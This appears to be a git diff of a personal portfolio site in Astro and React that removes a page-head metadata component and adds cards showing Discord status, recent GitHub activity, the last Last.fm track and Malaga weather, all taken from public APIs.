|
<div
|
||||||
|
class="has-[a:hover]:bg-secondary/50 overflow-hidden rounded-xl border p-4 transition-colors duration-300 ease-in-out"
|
||||||
|
>
|
||||||
|
<div class="flex flex-wrap gap-4">
|
||||||
|
<Link
|
||||||
|
href={`/authors/${author.id}`}
|
||||||
|
class={cn('block', isAuthorPage && 'pointer-events-none')}
|
||||||
|
>
|
||||||
|
<AvatarComponent
|
||||||
|
client:load
|
||||||
|
src={avatar}
|
||||||
|
alt={`Avatar of ${name}`}
|
||||||
|
fallback={name[0]}
|
||||||
|
className={cn(
|
||||||
|
'size-32 rounded-md [&>[data-slot="avatar-fallback"]]:rounded-md',
|
||||||
|
!isAuthorPage &&
|
||||||
|
'hover:ring-primary transition-shadow duration-300 hover:cursor-pointer hover:ring-2',
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</Link>
|
||||||
|
<div class="flex grow flex-col justify-between gap-y-4">
|
||||||
|
<div>
|
||||||
|
<div class="flex flex-wrap items-center gap-x-2">
|
||||||
|
<h3 class="text-lg font-medium">{name}</h3>
|
||||||
|
{
|
||||||
|
pronouns && (
|
||||||
|
<span class="text-muted-foreground text-sm">({pronouns})</span>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
</div>
|
||||||
|
<p class="text-muted-foreground text-sm">{bio}</p>
|
||||||
|
</div>
|
||||||
|
<SocialIcons links={socialLinks} />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
@@ -1,49 +0,0 @@
|
|||||||
---
|
|
||||||
// Import the global.css file here so that it is included on
|
|
||||||
// all pages through the use of the <BaseHead /> component.
|
|
||||||
import '@/styles/global.css';
|
|
||||||
|
|
||||||
interface Props {
|
|
||||||
title: string;
|
|
||||||
description: string;
|
|
||||||
image?: string;
|
|
||||||
}
|
|
||||||
|
|
||||||
const canonicalURL = new URL(Astro.url.pathname, Astro.site);
|
|
||||||
|
|
||||||
const { title, description, image } = Astro.props;
|
|
||||||
---
|
|
||||||
|
|
||||||
<!-- Global Metadata -->
|
|
||||||
<meta charset="utf-8" />
|
|
||||||
<meta name="viewport" content="width=device-width,initial-scale=1" />
|
|
||||||
<link rel="icon" type="image/svg+xml" href="/favicon.svg" />
|
|
||||||
<meta name="generator" content={Astro.generator} />
|
|
||||||
<link rel="sitemap" href="/sitemap-index.xml" />
|
|
||||||
|
|
||||||
<!-- Font preloads -->
|
|
||||||
<link rel="preload" href="https://fonts.srizan.dev/satoshi/fonts/Satoshi-Medium.woff" as="font" type="font/woff" crossorigin />
|
|
||||||
|
|
||||||
<!-- Canonical URL -->
|
|
||||||
<link rel="canonical" href={canonicalURL} />
|
|
||||||
|
|
||||||
<!-- Primary Meta Tags -->
|
|
||||||
<title>{title}</title>
|
|
||||||
<meta name="title" content={title} />
|
|
||||||
<meta name="description" content={description} />
|
|
||||||
|
|
||||||
<!-- Open Graph / Facebook -->
|
|
||||||
<meta property="og:type" content="website" />
|
|
||||||
<meta property="og:url" content={Astro.url} />
|
|
||||||
<meta property="og:title" content={title} />
|
|
||||||
<meta property="og:description" content={description} />
|
|
||||||
<meta property="og:image" content={image || ''} />
|
|
||||||
|
|
||||||
<!-- Twitter -->
|
|
||||||
<meta property="twitter:card" content="summary_large_image" />
|
|
||||||
<meta property="twitter:url" content={Astro.url} />
|
|
||||||
<meta property="twitter:title" content={title} />
|
|
||||||
<meta property="twitter:description" content={description} />
|
|
||||||
<meta property="twitter:image" content={image || ''} />
|
|
||||||
|
|
||||||
<script async src="https://analytics.srizan.dev/ua.js" data-website-id="54ccb44c-b03c-4790-8262-3e1a82241a24"></script>
|
|
||||||
183
src/components/BentoDiscord.tsx
Normal file
@@ -0,0 +1,183 @@
|
|||||||
|
import { useEffect, useState } from 'react'
|
||||||
|
import { Skeleton } from './ui/skeleton'
|
||||||
|
|
||||||
|
interface DiscordUser {
|
||||||
|
id: string
|
||||||
|
username: string
|
||||||
|
discriminator: string
|
||||||
|
avatar: string
|
||||||
|
global_name: string | null
|
||||||
|
}
|
||||||
|
|
||||||
|
interface DiscordActivity {
|
||||||
|
id: string
|
||||||
|
name: string
|
||||||
|
type: number
|
||||||
|
state?: string
|
||||||
|
details?: string
|
||||||
|
timestamps?: {
|
||||||
|
start?: number
|
||||||
|
end?: number
|
||||||
|
}
|
||||||
|
assets?: {
|
||||||
|
large_image?: string
|
||||||
|
large_text?: string
|
||||||
|
small_image?: string
|
||||||
|
small_text?: string
|
||||||
|
}
|
||||||
|
application_id?: string
|
||||||
|
}
|
||||||
|
|
||||||
|
interface LanyardData {
|
||||||
|
discord_user: DiscordUser
|
||||||
|
discord_status: 'online' | 'idle' | 'dnd' | 'offline'
|
||||||
|
activities: DiscordActivity[]
|
||||||
|
listening_to_spotify: boolean
|
||||||
|
spotify?: {
|
||||||
|
track_id: string
|
||||||
|
timestamps: {
|
||||||
|
start: number
|
||||||
|
end: number
|
||||||
|
}
|
||||||
|
song: string
|
||||||
|
artist: string
|
||||||
|
album_art_url: string
|
||||||
|
album: string
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
interface LanyardResponse {
|
||||||
|
success: boolean
|
||||||
|
data: LanyardData
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function BentoDiscord() {
|
||||||
|
const [discordData, setDiscordData] = useState<LanyardData | null>(null)
|
||||||
|
const [isLoading, setIsLoading] = useState(true)
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const fetchDiscordData = async () => {
|
||||||
|
try {
|
||||||
|
const response = await fetch(
|
||||||
|
`https://api.lanyard.rest/v1/users/703974042700611634`,
|
||||||
|
)
|
||||||
|
const data: LanyardResponse = await response.json()
|
||||||
|
if (data.success) {
|
||||||
|
setDiscordData(data.data)
|
||||||
|
}
|
||||||
|
setIsLoading(false)
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Error fetching Discord data:', error)
|
||||||
|
setIsLoading(false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fetchDiscordData()
|
||||||
|
const interval = setInterval(fetchDiscordData, 30000)
|
||||||
|
return () => clearInterval(interval)
|
||||||
|
}, [])
|
||||||
|
|
||||||
|
const getStatusColor = (status: string) => {
|
||||||
|
switch (status) {
|
||||||
|
case 'online':
|
||||||
|
return 'bg-green-400'
|
||||||
|
case 'idle':
|
||||||
|
return 'bg-yellow-400'
|
||||||
|
case 'dnd':
|
||||||
|
return 'bg-red-400'
|
||||||
|
default:
|
||||||
|
return 'bg-gray-400'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const getStatusText = (status: string) => {
|
||||||
|
switch (status) {
|
||||||
|
case 'online':
|
||||||
|
return 'Online'
|
||||||
|
case 'idle':
|
||||||
|
return 'Away'
|
||||||
|
case 'dnd':
|
||||||
|
return 'Do Not Disturb'
|
||||||
|
default:
|
||||||
|
return 'Offline'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const getAvatarUrl = (user: DiscordUser) => {
|
||||||
|
return `https://cdn.discordapp.com/avatars/${user.id}/${user.avatar}.png?size=128`
|
||||||
|
}
|
||||||
|
|
||||||
|
const getMainActivity = (activities: DiscordActivity[]) => {
|
||||||
|
return (
|
||||||
|
activities.find(
|
||||||
|
(activity) => activity.type !== 4 && activity.name !== 'Spotify',
|
||||||
|
) || null
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isLoading) {
|
||||||
|
return (
|
||||||
|
<div className="flex h-full w-full flex-col justify-between rounded-lg p-4">
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<Skeleton className="h-2 w-2 rounded-full" />
|
||||||
|
<Skeleton className="h-3 w-16" />
|
||||||
|
</div>
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<Skeleton className="h-12 w-12 flex-shrink-0 rounded-full" />
|
||||||
|
<div className="flex min-w-0 flex-1 flex-col gap-2">
|
||||||
|
<Skeleton className="h-4 w-3/4" />
|
||||||
|
<Skeleton className="h-3 w-1/2" />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<Skeleton className="h-3 w-24" />
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!discordData)
|
||||||
|
return <p className="text-muted-foreground p-4 text-sm">Unavailable</p>
|
||||||
|
|
||||||
|
const mainActivity = getMainActivity(discordData.activities)
|
||||||
|
const displayName =
|
||||||
|
discordData.discord_user.global_name || discordData.discord_user.username
|
||||||
|
|
||||||
|
return (
|
||||||
|
<a
|
||||||
|
href={`https://discord.com/users/${discordData.discord_user.id}`}
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
className="group hover:bg-accent/40 flex h-full w-full flex-col justify-between rounded-lg p-4 transition-colors duration-200"
|
||||||
|
>
|
||||||
|
<div className="flex items-center gap-1.5">
|
||||||
|
<span
|
||||||
|
className={`h-2 w-2 flex-shrink-0 rounded-full ${getStatusColor(discordData.discord_status)}`}
|
||||||
|
/>
|
||||||
|
<span className="text-muted-foreground text-xs font-medium tracking-wide uppercase">
|
||||||
|
{getStatusText(discordData.discord_status)}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<img
|
||||||
|
src={getAvatarUrl(discordData.discord_user)}
|
||||||
|
alt="Discord avatar"
|
||||||
|
width={48}
|
||||||
|
height={48}
|
||||||
|
className="h-12 w-12 flex-shrink-0 rounded-full object-cover"
|
||||||
|
/>
|
||||||
|
<div className="flex min-w-0 flex-col">
|
||||||
|
<p className="truncate text-sm leading-snug font-semibold">
|
||||||
|
{displayName}
|
||||||
|
</p>
|
||||||
|
<p className="text-muted-foreground truncate text-xs">
|
||||||
|
@{discordData.discord_user.username}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p className="text-muted-foreground/60 truncate text-xs">
|
||||||
|
{mainActivity ? mainActivity.name : 'No activity'}
|
||||||
|
</p>
|
||||||
|
</a>
|
||||||
|
)
|
||||||
|
}
|
||||||
298
src/components/BentoGithub.tsx
Normal file
@@ -0,0 +1,298 @@
|
|||||||
|
import { useEffect, useRef, useState } from 'react'
|
||||||
|
import { FaGithub } from 'react-icons/fa'
|
||||||
|
import { Skeleton } from './ui/skeleton'
|
||||||
|
|
||||||
|
interface GithubEvent {
|
||||||
|
id: string
|
||||||
|
type: string
|
||||||
|
repo: {
|
||||||
|
name: string
|
||||||
|
}
|
||||||
|
payload?: {
|
||||||
|
action?: string
|
||||||
|
ref_type?: string
|
||||||
|
head?: string
|
||||||
|
before?: string
|
||||||
|
commits?: Array<{ sha?: string; message: string }>
|
||||||
|
pull_request?: {
|
||||||
|
title?: string
|
||||||
|
html_url?: string
|
||||||
|
}
|
||||||
|
issue?: {
|
||||||
|
title?: string
|
||||||
|
html_url?: string
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const EVENT_PRIORITY: Record<string, number> = {
|
||||||
|
PushEvent: 5,
|
||||||
|
PullRequestEvent: 4,
|
||||||
|
IssuesEvent: 3,
|
||||||
|
IssueCommentEvent: 2,
|
||||||
|
ReleaseEvent: 2,
|
||||||
|
CreateEvent: 1,
|
||||||
|
}
|
||||||
|
|
||||||
|
interface ActivityView {
|
||||||
|
id: string
|
||||||
|
title: string
|
||||||
|
detail: string
|
||||||
|
meta?: string
|
||||||
|
repo: string
|
||||||
|
url: string
|
||||||
|
}
|
||||||
|
|
||||||
|
async function parseActivity(event: GithubEvent): Promise<ActivityView> {
|
||||||
|
const repo = event.repo.name
|
||||||
|
const repoUrl = `https://github.com/${repo}`
|
||||||
|
|
||||||
|
if (event.type === 'PushEvent') {
|
||||||
|
const headSha = event.payload?.head
|
||||||
|
const shortSha = headSha?.slice(0, 7)
|
||||||
|
let detail = `Updated ${repo}`
|
||||||
|
|
||||||
|
if (headSha) {
|
||||||
|
try {
|
||||||
|
const response = await fetch(
|
||||||
|
`https://api.github.com/repos/${repo}/commits/${headSha}`,
|
||||||
|
{
|
||||||
|
headers: {
|
||||||
|
Accept: 'application/vnd.github+json',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
if (response.ok) {
|
||||||
|
const commitData: { commit?: { message?: string } } =
|
||||||
|
await response.json()
|
||||||
|
const commitMessage = commitData.commit?.message?.split('\n')[0]
|
||||||
|
if (commitMessage) {
|
||||||
|
detail = commitMessage
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Error fetching commit details:', error)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
id: event.id,
|
||||||
|
title: 'Pushed commit',
|
||||||
|
detail,
|
||||||
|
meta: shortSha ? shortSha : undefined,
|
||||||
|
repo,
|
||||||
|
url: headSha ? `${repoUrl}/commit/${headSha}` : `${repoUrl}/commits`,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (event.type === 'PullRequestEvent') {
|
||||||
|
return {
|
||||||
|
id: event.id,
|
||||||
|
title: `${event.payload?.action ?? 'Updated'} pull request`,
|
||||||
|
detail: event.payload?.pull_request?.title ?? repo,
|
||||||
|
meta: 'pull request',
|
||||||
|
repo,
|
||||||
|
url: event.payload?.pull_request?.html_url ?? repoUrl,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (event.type === 'IssuesEvent') {
|
||||||
|
return {
|
||||||
|
id: event.id,
|
||||||
|
title: `${event.payload?.action ?? 'Updated'} issue`,
|
||||||
|
detail: event.payload?.issue?.title ?? repo,
|
||||||
|
meta: 'issue',
|
||||||
|
repo,
|
||||||
|
url: event.payload?.issue?.html_url ?? repoUrl,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (event.type === 'IssueCommentEvent') {
|
||||||
|
return {
|
||||||
|
id: event.id,
|
||||||
|
title: `${event.payload?.action ?? 'Updated'} comment`,
|
||||||
|
detail: event.payload?.issue?.title ?? repo,
|
||||||
|
meta: 'comment',
|
||||||
|
repo,
|
||||||
|
url: event.payload?.issue?.html_url ?? repoUrl,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (event.type === 'CreateEvent') {
|
||||||
|
return {
|
||||||
|
id: event.id,
|
||||||
|
title: 'Created new item',
|
||||||
|
detail: `${event.payload?.ref_type ?? 'resource'} in ${repo}`,
|
||||||
|
meta: event.payload?.ref_type,
|
||||||
|
repo,
|
||||||
|
url: repoUrl,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (event.type === 'ReleaseEvent') {
|
||||||
|
return {
|
||||||
|
id: event.id,
|
||||||
|
title: 'Published release',
|
||||||
|
detail: `New release in ${repo}`,
|
||||||
|
meta: 'release',
|
||||||
|
repo,
|
||||||
|
url: repoUrl,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
id: event.id,
|
||||||
|
title: event.type.replace('Event', ''),
|
||||||
|
detail: `Activity in ${repo}`,
|
||||||
|
meta: undefined,
|
||||||
|
repo,
|
||||||
|
url: repoUrl,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function BentoGithub() {
|
||||||
|
const CARD_PADDING_X = 32
|
||||||
|
const LIST_PADDING_X = 16
|
||||||
|
const cardRef = useRef<HTMLDivElement | null>(null)
|
||||||
|
const [activity, setActivity] = useState<ActivityView[]>([])
|
||||||
|
const [isLoading, setIsLoading] = useState(true)
|
||||||
|
const [visibleCount, setVisibleCount] = useState(1)
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const fetchActivity = async () => {
|
||||||
|
try {
|
||||||
|
const response = await fetch(
|
||||||
|
'https://api.github.com/users/SrIzan10/events/public?per_page=20',
|
||||||
|
{
|
||||||
|
headers: {
|
||||||
|
Accept: 'application/vnd.github+json',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
)
|
||||||
|
const events: GithubEvent[] = await response.json()
|
||||||
|
if (Array.isArray(events) && events.length > 0) {
|
||||||
|
const prioritizedEvents = events
|
||||||
|
.filter((event) => EVENT_PRIORITY[event.type])
|
||||||
|
.slice(0, 6)
|
||||||
|
|
||||||
|
const parsedActivity = await Promise.all(
|
||||||
|
prioritizedEvents.map((event) => parseActivity(event)),
|
||||||
|
)
|
||||||
|
|
||||||
|
setActivity(parsedActivity)
|
||||||
|
}
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Error fetching GitHub activity:', error)
|
||||||
|
} finally {
|
||||||
|
setIsLoading(false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fetchActivity()
|
||||||
|
}, [])
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (isLoading || activity.length === 0) return
|
||||||
|
|
||||||
|
const element = cardRef.current
|
||||||
|
if (!element) return
|
||||||
|
|
||||||
|
const updateVisibleCount = () => {
|
||||||
|
const { width } = element.getBoundingClientRect()
|
||||||
|
const contentWidth = width - CARD_PADDING_X - LIST_PADDING_X
|
||||||
|
|
||||||
|
if (contentWidth >= 470) {
|
||||||
|
setVisibleCount(3)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if (contentWidth >= 310) {
|
||||||
|
setVisibleCount(2)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
setVisibleCount(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
updateVisibleCount()
|
||||||
|
|
||||||
|
const observer = new ResizeObserver(updateVisibleCount)
|
||||||
|
observer.observe(element)
|
||||||
|
|
||||||
|
return () => observer.disconnect()
|
||||||
|
}, [isLoading, activity.length])
|
||||||
|
|
||||||
|
if (isLoading) {
|
||||||
|
return (
|
||||||
|
<div className="flex h-full w-full flex-col justify-between overflow-hidden rounded-lg p-4">
|
||||||
|
<div className="flex items-center justify-between">
|
||||||
|
<Skeleton className="h-3 w-20" />
|
||||||
|
<Skeleton className="h-4 w-4" />
|
||||||
|
</div>
|
||||||
|
<div className="space-y-3">
|
||||||
|
<div className="space-y-2">
|
||||||
|
<Skeleton className="h-4 w-1/2" />
|
||||||
|
<Skeleton className="h-3 w-full" />
|
||||||
|
</div>
|
||||||
|
<div className="hidden space-y-2 sm:block">
|
||||||
|
<Skeleton className="h-4 w-2/5" />
|
||||||
|
<Skeleton className="h-3 w-4/5" />
|
||||||
|
</div>
|
||||||
|
<div className="hidden space-y-2 lg:block">
|
||||||
|
<Skeleton className="h-4 w-1/3" />
|
||||||
|
<Skeleton className="h-3 w-3/4" />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<Skeleton className="h-3 w-2/3" />
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
if (activity.length === 0)
|
||||||
|
return <p className="text-muted-foreground p-4 text-sm">Unavailable</p>
|
||||||
|
|
||||||
|
const visibleActivity = activity.slice(0, visibleCount)
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
ref={cardRef}
|
||||||
|
className="flex h-full w-full flex-col justify-between overflow-hidden rounded-lg p-4"
|
||||||
|
>
|
||||||
|
<div className="flex items-center justify-between">
|
||||||
|
<span className="text-muted-foreground text-xs font-medium tracking-wide uppercase">
|
||||||
|
GitHub Activity
|
||||||
|
</span>
|
||||||
|
<FaGithub className="text-muted-foreground/50" size={16} />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="space-y-2.5 p-2">
|
||||||
|
{visibleActivity.map((item) => {
|
||||||
|
return (
|
||||||
|
<a
|
||||||
|
key={item.id}
|
||||||
|
href={item.url}
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
className="hover:bg-accent/40 block min-w-0 rounded-md px-2 py-1.5 transition-colors duration-200"
|
||||||
|
>
|
||||||
|
<p className="truncate text-sm leading-snug font-semibold">
|
||||||
|
{item.title}
|
||||||
|
</p>
|
||||||
|
<p className="text-muted-foreground mt-0.5 line-clamp-1 text-xs">
|
||||||
|
{item.detail}
|
||||||
|
</p>
|
||||||
|
<p className="text-muted-foreground/60 mt-1 truncate text-[11px]">
|
||||||
|
{item.meta ? `${item.meta} in ${item.repo}` : item.repo}
|
||||||
|
</p>
|
||||||
|
</a>
|
||||||
|
)
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p className="text-muted-foreground/60 truncate text-xs">
|
||||||
|
github.com/SrIzan10
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
99
src/components/BentoSpotify.tsx
Normal file
@@ -0,0 +1,99 @@
|
|||||||
|
// code based on https://github.com/jktrn/enscribe.dev/blob/main/src/components/bento/SpotifyPresence.tsx
|
||||||
|
// which is under copyright.
|
||||||
|
|
||||||
|
import { useEffect, useState } from 'react'
|
||||||
|
import { Skeleton } from './ui/skeleton'
|
||||||
|
import { FaLastfm } from 'react-icons/fa'
|
||||||
|
|
||||||
|
interface Track {
|
||||||
|
name: string
|
||||||
|
artist: { '#text': string }
|
||||||
|
album: { '#text': string }
|
||||||
|
image: { '#text': string }[]
|
||||||
|
url: string
|
||||||
|
'@attr'?: { nowplaying: string }
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function BentoSpotify() {
|
||||||
|
const [displayData, setDisplayData] = useState<Track | null>(null)
|
||||||
|
const [isLoading, setIsLoading] = useState(true)
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
fetch('https://lastfm-last-played.biancarosa.com.br/SrIzan10/latest-song')
|
||||||
|
.then((response) => response.json())
|
||||||
|
.then((data) => {
|
||||||
|
setDisplayData(data.track)
|
||||||
|
setIsLoading(false)
|
||||||
|
})
|
||||||
|
.catch((error) => {
|
||||||
|
console.error('Error fetching latest song:', error)
|
||||||
|
setIsLoading(false)
|
||||||
|
})
|
||||||
|
}, [])
|
||||||
|
|
||||||
|
if (isLoading) {
|
||||||
|
return (
|
||||||
|
<div className="flex h-full w-full flex-col justify-between rounded-lg p-4">
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<Skeleton className="h-3 w-16" />
|
||||||
|
</div>
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<Skeleton className="h-12 w-12 flex-shrink-0 rounded-md" />
|
||||||
|
<div className="flex min-w-0 flex-1 flex-col gap-2">
|
||||||
|
<Skeleton className="h-4 w-3/4" />
|
||||||
|
<Skeleton className="h-3 w-1/2" />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<Skeleton className="h-3 w-20" />
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!displayData)
|
||||||
|
return <p className="text-muted-foreground p-4 text-sm">Unavailable</p>
|
||||||
|
|
||||||
|
const { name: song, artist, album, image, url } = displayData
|
||||||
|
const isNowPlaying = displayData['@attr']?.nowplaying === 'true'
|
||||||
|
|
||||||
|
return (
|
||||||
|
<a
|
||||||
|
href={url}
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
className="group hover:bg-accent/40 flex h-full w-full flex-col justify-between rounded-lg p-4 transition-colors duration-200"
|
||||||
|
>
|
||||||
|
{/* Label */}
|
||||||
|
<div className="flex items-center justify-between">
|
||||||
|
<span className="text-muted-foreground text-xs font-medium tracking-wide uppercase">
|
||||||
|
{isNowPlaying ? 'Now Playing' : 'Last Played'}
|
||||||
|
</span>
|
||||||
|
<FaLastfm
|
||||||
|
className="text-muted-foreground/50 group-hover:text-muted-foreground transition-colors"
|
||||||
|
size={16}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Track info */}
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<img
|
||||||
|
src={image[3]['#text']}
|
||||||
|
alt="Album art"
|
||||||
|
width={48}
|
||||||
|
height={48}
|
||||||
|
className="h-12 w-12 flex-shrink-0 rounded-md object-cover"
|
||||||
|
/>
|
||||||
|
<div className="flex min-w-0 flex-col">
|
||||||
|
<p className="truncate text-sm leading-snug font-semibold">{song}</p>
|
||||||
|
<p className="text-muted-foreground truncate text-xs">
|
||||||
|
{artist['#text']}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Album */}
|
||||||
|
<p className="text-muted-foreground/60 truncate text-xs">
|
||||||
|
{album['#text']}
|
||||||
|
</p>
|
||||||
|
</a>
|
||||||
|
)
|
||||||
|
}
|
||||||
173
src/components/BentoWeather.tsx
Normal file
@@ -0,0 +1,173 @@
|
|||||||
|
import { useEffect, useState } from 'react'
|
||||||
|
import { Skeleton } from './ui/skeleton'
|
||||||
|
import { Cloud, Sun, CloudRain, CloudSnow } from 'lucide-react'
|
||||||
|
|
||||||
|
export default function BentoWeather() {
|
||||||
|
const [weatherData, setWeatherData] = useState<WttrResponse | null>(null)
|
||||||
|
const [isLoading, setIsLoading] = useState(true)
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const fetchWeather = async () => {
|
||||||
|
try {
|
||||||
|
const res = await fetch('https://wttr.in/Malaga?format=j2')
|
||||||
|
const data = await res.json()
|
||||||
|
setWeatherData(data)
|
||||||
|
setIsLoading(false)
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Error fetching weather:', error)
|
||||||
|
setIsLoading(false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fetchWeather()
|
||||||
|
}, [])
|
||||||
|
|
||||||
|
const getWeatherIcon = (description: string) => {
|
||||||
|
const desc = description.toLowerCase()
|
||||||
|
if (desc.includes('rain') || desc.includes('drizzle')) return CloudRain
|
||||||
|
if (desc.includes('snow')) return CloudSnow
|
||||||
|
if (desc.includes('cloud') || desc.includes('overcast')) return Cloud
|
||||||
|
return Sun
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isLoading) {
|
||||||
|
return (
|
||||||
|
<div className="flex h-full w-full flex-col justify-between rounded-lg p-4">
|
||||||
|
<Skeleton className="h-3 w-24" />
|
||||||
|
<div className="flex items-end gap-2">
|
||||||
|
<Skeleton className="h-9 w-20" />
|
||||||
|
</div>
|
||||||
|
<Skeleton className="h-3 w-32" />
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!weatherData)
|
||||||
|
return <p className="text-muted-foreground p-4 text-sm">Unavailable</p>
|
||||||
|
|
||||||
|
const current = weatherData.current_condition[0]
|
||||||
|
const location = weatherData.nearest_area[0]
|
||||||
|
const WeatherIcon = getWeatherIcon(current.weatherDesc[0].value)
|
||||||
|
const cityName = location.areaName[0].value
|
||||||
|
|
||||||
|
return (
|
||||||
|
<a
|
||||||
|
href={`https://wttr.in/${cityName}`}
|
||||||
|
target="_blank"
|
||||||
|
rel="noopener noreferrer"
|
||||||
|
className="group hover:bg-accent/40 flex h-full w-full flex-col justify-between rounded-lg p-4 transition-colors duration-200"
|
||||||
|
>
|
||||||
|
{/* Label */}
|
||||||
|
<div className="flex items-center justify-between">
|
||||||
|
<span className="text-muted-foreground text-xs font-medium tracking-wide uppercase">
|
||||||
|
{cityName}
|
||||||
|
</span>
|
||||||
|
<WeatherIcon
|
||||||
|
size={16}
|
||||||
|
className="text-muted-foreground/50 group-hover:text-muted-foreground transition-colors"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Temperature — big and dominant */}
|
||||||
|
<p className="text-4xl leading-none font-bold tabular-nums">
|
||||||
|
{current.temp_C}°
|
||||||
|
</p>
|
||||||
|
|
||||||
|
{/* Description */}
|
||||||
|
<p className="text-muted-foreground truncate text-xs">
|
||||||
|
{current.weatherDesc[0].value}
|
||||||
|
</p>
|
||||||
|
</a>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Types generated with AI.
|
||||||
|
interface WttrResponse {
|
||||||
|
current_condition: {
|
||||||
|
FeelsLikeC: string
|
||||||
|
FeelsLikeF: string
|
||||||
|
cloudcover: string
|
||||||
|
humidity: string
|
||||||
|
localObsDateTime: string
|
||||||
|
observation_time: string
|
||||||
|
precipInches: string
|
||||||
|
precipMM: string
|
||||||
|
pressure: string
|
||||||
|
pressureInches: string
|
||||||
|
temp_C: string
|
||||||
|
temp_F: string
|
||||||
|
uvIndex: string
|
||||||
|
visibility: string
|
||||||
|
visibilityMiles: string
|
||||||
|
weatherCode: string
|
||||||
|
weatherDesc: Array<{ value: string }>
|
||||||
|
weatherIconUrl: Array<{ value: string }>
|
||||||
|
winddir16Point: string
|
||||||
|
winddirDegree: string
|
||||||
|
windspeedKmph: string
|
||||||
|
windspeedMiles: string
|
||||||
|
}[]
|
||||||
|
nearest_area: Array<{
|
||||||
|
areaName: Array<{ value: string }>
|
||||||
|
country: Array<{ value: string }>
|
||||||
|
latitude: string
|
||||||
|
longitude: string
|
||||||
|
population: string
|
||||||
|
region: Array<{ value: string }>
|
||||||
|
weatherUrl: Array<{ value: string }>
|
||||||
|
}>
|
||||||
|
request: Array<{
|
||||||
|
query: string
|
||||||
|
type: string
|
||||||
|
}>
|
||||||
|
weather: Array<{
|
||||||
|
astronomy: Array<{
|
||||||
|
moon_illumination: string
|
||||||
|
moon_phase: string
|
||||||
|
moonrise: string
|
||||||
|
moonset: string
|
||||||
|
sunrise: string
|
||||||
|
sunset: string
|
||||||
|
}>
|
||||||
|
avgtempC: string
|
||||||
|
avgtempF: string
|
||||||
|
date: string
|
||||||
|
hourly: Array<{
|
||||||
|
DewPointC: string
|
||||||
|
DewPointF: string
|
||||||
|
FeelsLikeC: string
|
||||||
|
FeelsLikeF: string
|
||||||
|
HeatIndexC: string
|
||||||
|
HeatIndexF: string
|
||||||
|
WindChillC: string
|
||||||
|
